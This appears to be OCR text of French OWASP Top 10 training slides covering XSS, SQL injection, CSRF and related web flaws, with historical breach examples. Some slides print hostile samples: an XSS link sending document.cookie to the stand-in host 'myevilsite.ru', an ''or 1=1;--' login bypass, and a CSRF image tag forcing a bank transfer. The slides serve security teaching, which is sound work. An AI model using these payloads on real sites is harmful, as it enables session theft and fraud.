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Al — Cross Site Scripting (XSS)

B Condition #1 -> Le site affiche une donnée provenant d’un parametre

|l.u:\itl_|re 2010 |[ Rechercher ]

voiture 2010 : aucun résultat{s)

B Condition #2 -> La donnée n’est pas validée

|{script}alerttlj{fgcript} |[ Recherchear ]




Al — Cross Site Scripting (XSS)

BULLETIN EXPRESS

w  History  Bookmarks  Tools  Help  GBookmarks




Al — Cross Site Scripting (XSS)

@.
Bonjour Joe! J'ai acheté un excellent nouveau livre,
logge toi sur SuperLivre.com et va voir mon commentaire:

http://www.superlivre.com/commentaires.php?
comment=<script>http://myevilsite.ru/
grab.cgi?'%20+document.cookie</script>

Site vulnérable, affiche intégralement
le contenu d’un parametre

http://myevilsite.ru

e Obtention du cookie de Joe (Vol de cookie est le plus populaire des XSS)
e Achat de livres avec le compte de Joe

EXEMPLE: 16 décembre 2008 - American Express web bug exposes card holders

OWASP e 9



http://www.superlivre.com/commentaires.php?comment=%3Cscript%3Ehttp://myevilsite.ru/grab.cgi?%27%20+document.cookie%3C/script%3E
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A2 — Injection Flaws

L'Injection SQL est tres populaire. Ne jamais prendre directement le

contenu d’une donnée dans un SQL:
PHP: $sql = "SELECT * FROM users WHERE id = '" . $_ REQUEST['id"] . "' and pass = '"" . $_ REQUEST['password'] . "';

Code d'usager | 1ohn

Mot de passe | sk

PHP: $sql = "SELECT * FROM users WHERE id = 'John' and ........

Code d'usager I 'or 1=1;-- \ ' /

Mot de passe | koK Kok o

PHP: $sql = "SELECT * FROM users WHERE id = " or 1=1;--"and .....

Welcome!

EXEMPLE: 13 Janvier 2006 - Un hacker russe vole 53,000
# de cartes de crédits au gouvernement du Rhode Island

OWASP e 10




A3 — Malicious File Execution

Envoyer I'fvatar depuis votre ordinateur: | " iBrowse.. | ] W

' Le fichier d’image contient
\ﬁ plutot un script php
<?php
Script PHP de l'attaquant
FakeScriptPHP . ipg ?>

Inscrit le: 02 Déc 2003
Meszages: 1397
Localisation: Montreal

Un internaute visite le site -> Execution du script!!!

EXEMPLE: 2002 - Guess.com se fait voler 200,000 dossiers clients,

OWASP e 11
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A4 — Insecure Direct Object Reference

‘\\‘\“" http://www.MaBanque.com/Interface?id=471249

N

Numéro de compte réel

EXEMPLE: 2000 - Un internaute récupere 17,000 dossiers de
compagnies en modifiant le # de compte dans le URL d’un bureau de
taxation Australien

OWASP e 12




A5 — Cross Site Request Forgery (CSRF/XSRF)

La victime ne voit pas qu’elle viens d’exécuter une action

#1 Usager se connecte a sa banque
Ma Banque

|codeusager

Connexion

#2 Visite du forum contenant la requéete forgée

Jﬂoe. o . EEF;I:;éE!e:ZTAGGZOOBDB:‘iBam Sujetdu [ crer] [£3€ 2aner| (][] / Requete fOI"gee VU|nel"ab|e

<img src=http://www.MaBanque.com/transfer?to_account=87453&amount=1000/>

#3 Execution du script!!!

EXEMPLE:

Site d’enchere populaire, le lien caché effectuait un 'BID’ pour chaque visiteur de la page

OWASP e .
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A6 — Information Leakage and Improper Error
Handling

B N’'aidez pas un attaquant a vous faire du mal

Server Error in '/' Application.

Exception of type System. QutOfMemoryException was
thrown.

Description: &n unhandled exception occurred during the execution of the current web request. Please review the
stack trace for more information about the ervor and where it originsted in the code.

Exception Details: System OutOiMemoryException; Exception of type System. OutOfMemoryException was thrown,

Source Error: HTTP Status 500

An unhandled exception was generated during the execution of the current
welh regquest. Information regarding the origin and location of the

exception can be identified using the exception stack trace below. [BTIE Exception report
Stack Trace:
The server encountered an internal error () that prevented it from fulfilling this request.

[OutDfMemoryException: Exception of type System.QutdfMemoryException was thrown.]

java.sql.SQLExcep:ian: Internal Error
at oracle.jdbc.dbaccess.DEError.throwdglException (DBEError. java: 169)
¥ersion Information: Microzoft MET Framework Yersion:1 1 4322 2300, ASP MET Yersion:1 .1 4322 2300 at oracle.jdbc.dbaccess. DEError. throwSglException (DEError. javai211)
at oracle.jdbc.dbaccess.DPEError.throwdglException (DEError. java:274)
at oracle.jdbc.oracore. OracleTypeCOLLECTION. initCollElemTypeName (Orac leTypelOLLECTION. java: 949)
at oracle.jdbc.oracore,OracleTypeCOLLECTION. getAttributeType (OracleTypeCOLLECTION. java:996)
at oracle.jdbc.oracore,OraclelamedType.getFul llamwe (Orac leNamedType. java:91)
at oracle.sql.Typelescriptor.init3QLName (Typelescriptor. java:128)
at oracle.sgl.Typelescriptor.getName (Typelescriptor. java:l03)
at oracle.sgl.3tructlescriptor.gecClass (Structlescriptor.java:415s)
at oracle.sgl.3TRUCT.toJdbe (STRUCT. javai365)
at oracle.jdbc.oracore.OracleTypelUPT.unpickle80rec (OracleTypeUPT. java:236)
at oracle.jdbco.oracore. OracleTypeCOLLECTION. unpickleS0res_elems (OracleTypeCOLLECTION. Java: 553)
at oracle.jdbc.oracore,OracleTypeCOLLECTION. unpickleS0rec (OracleTypeCOLLECTICON, javai383)
at oracle.jdbc.oracore. OracleTypeCOLLECTION. unpickleS0 (OracleTypeCOLLECTION. java:329)
at oracle.jdbc.oracore,OracleTypeCOLLECTION.unlinearize (OracleTypeCOLLECTICN, java:218)
at oracle.sgl.ArrayDescriprtor.toJavalrray (Arraylescriptor.java:501)




A7 — Broken Authentification and Session
Management

B Aucune politique de mots de passe
B Aucune limite de login infructueux
B -> Brute Force Password Guessing

WebScarab
File View Tools Help
Extensi rxSSICRLF rSessionID Analysis rScripted rFragmems rFuzzer rCompare rSearch
5 v r Messages r Proxy r Manual Request r WebServices r Spider |
Method URL Version
[GET | [http:iwo S < o o2 0ifarurdlogin. php | [HTTRAT |
| Header Walue
| Host om a|  add
||User-Agent Mozillars 0 dvindowes; L Windows BT 5.1; en-US; el 9.0.5) |=| Delete
||Accept textthtml,applicationihtmi+xmlapplicationfmlo=0.95" =08 |
lparameters
Location kame Type Walue Priarity Fuzz Source
Query redirect STRING a - - -
Cookie user STRIMG admin 0 password —— D I Ct I O n n a I re d e
Add
Cookie password STRING ey u] t d
Delete MOtTS de passes
Total Requests: 4 | G Start st
ources a ]
Current Request : 4 L
|n] Date hethad Host Fath Farameters Status Qrigin
14 2009/01/18...|GET ittp (om0 0r: 80 |ffarumilogin.php redirects 200 OK Fuzer  |=
15 200901/18...|GET ity vy Gy cOm 80 |fforumsogin.php Zredirects (200 OK Fumer |5
16 20090118, |GET hittp i . - 0 S0 Sfarumdlagin.php Tredirect= 200 Ok Fuzer —
El | annoindd o eET b A - - o 00 Horirnllocin sk dire ot ETalailat) L .i | |L
1 Il [

|Started

EXEMPLE: 7 janvier 2009, acces a des comptes administrateurs sur www.twitter.com
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A8 — Insecure Cryptographic Storage

TABLE: USAGER
CHAMP: MOTDEPASSE

* Utilisation d’un hash non sécure (MD4)

Transaction.java

TABLE: TRANSACTION

* clé privée dans le code CHAMP: NUM_CARTE_CREDIT

* numéro de carte en clair

* clé privée accessible par

tous sur le disque B
d Base de données

1

* clé privée dans la base de données

TABLE: CRYPT
CHAMP: CLE_ACTIVE

EXEMPLE: 2006, TJX - Vol de 45 millions de # numéros de carte de crédits

OWASP e 1




A9 — Insecure Communications

Protégez les données sensibles!

A (Untitled) - Wireshark

i @ C X & | L] bt sy qpyambccryForumlogin. phi?redivect= Flo Edt Vew Go Captwe nalze satstcs Hep

BuWoee PEXESE AT L/EE aQaaa »

Index du Forum

Filter: || | ¥ Expression.., Clear Apply
Veuillez entrer votre eur et votre mot de passe pour vous connecter.
Mo, - Time Source Destination Protocal Info
271 17.464262 TCP rtar
272 17.538439 TCP http

Mam d'utilisateur. |codeusager

3 TCP

Motde passe: |wwssesnses 275 17.585710 - TCP http
5 or automat A cite: O] 277 18. 268446 TP [TCF
e connecter automatiquement a chague visite: 278 18, 260025 TCP [TCF
Conresion 279 18. 260046 TCP rtar
280 18.321447 TP [TCF
J'ai gublié mon mot de passe 321453 TCP [ e g
L 200735 HTTP HTTF
LA481550 TCP rtar
[ ] [ TSP [TCH
[ | [ 7P [TcH
[ | [ TP [TcH
[ ] [ TP TTCH
[ ] [ TP oA
[ ] [ _tcr [1cH
204 21. 361603 TCP riar
7GR 71 424571 e httr ¥
| >

Frame 274 (868 bytes on wire, B68 bytes captured)

Ethernet II, src: D-Link_az:ef:81 (00:le:58:a2:ef:81), Dst: Cisco-Li_5h:50:3:
Internet Protocol, Src: 192.168.1.103 ¢192.168.1.103), Dst: (74,
Transmission Control Protocol, Src Port: rTcm-sclO4 (21010, Dst Port: hrop (&
Hypertext Transfer Protocol

Line-hased text data: application/x-www—form-urlencoded

access_log (fichier de log du serveur web )

... usemame =codeusager &password=motdepasse username=codeusagerépassword=motdepassedrediraect=&login=Connexion
\ 3
UZBU B3 O8 /% 20 34 /9 /U 83 33 ZU 6l /U /U BC 89 B35 eNL-Iype @ appiic

13

Serveurweb 02f0 81 74 69 6f e 2f 78 2d 77 77 77 2d 68 of 72 ad ationx— www-Torm
0300 2d 75 72 6¢ 65 de 63 &F 64 65 64 0d 0a 43 6 €e  -urlenco ded..cCon
0310 74 65 68 74 2d 4c 65 62 67 74 6B 3a 20 36 35 Od tent-Len gth: B5.
0320 ©0a 0d 0a 73 73 65 72 6e 61 6d 65 3d 63 6F 64 &3 ...usern ame=code
0330 75 73 61 67 65 72 26 70 61 73 73 77 &f 72 &4 3d usagerdp asswords=
0340 6d 6F 74 64 65 70 61 73 73 65 26 72 65 64 69 72 mcltge as se&redir
0350 65 63 74 3d 26 6¢c 6F 67 69 Ge 3d 43 &F Ge Ge 65 ect=&log in=Conne
0360 78 69 &f Ge xion =

File: "CADOCUME~1)ariane | LOCALS~1}Templet Packets: 311 Displayed: Profile: Default

OWASP e 17




A10 — Failure to Restrict URL Access

B Cacher l'existence d’'une page, en pensant
que personne ne la trouvera, n‘est pas une
securite viable.

» http://www.exemple.com/admin/adduser.php
» http://www.exemple.com/siteadmin.pl
» http://www.exemple.com/approveTransfer.do

B Calculer des privileges d’acces dans le

fureteur et non sur le serveur

» EXEMPLE: 11 Janvier 2007,
Vulnérabilité dans le site d’enregistrement au MacWorld

, permettant I'obtention d’une passe platinum gratuite
(valeur de 1700%)

OWASP e 1
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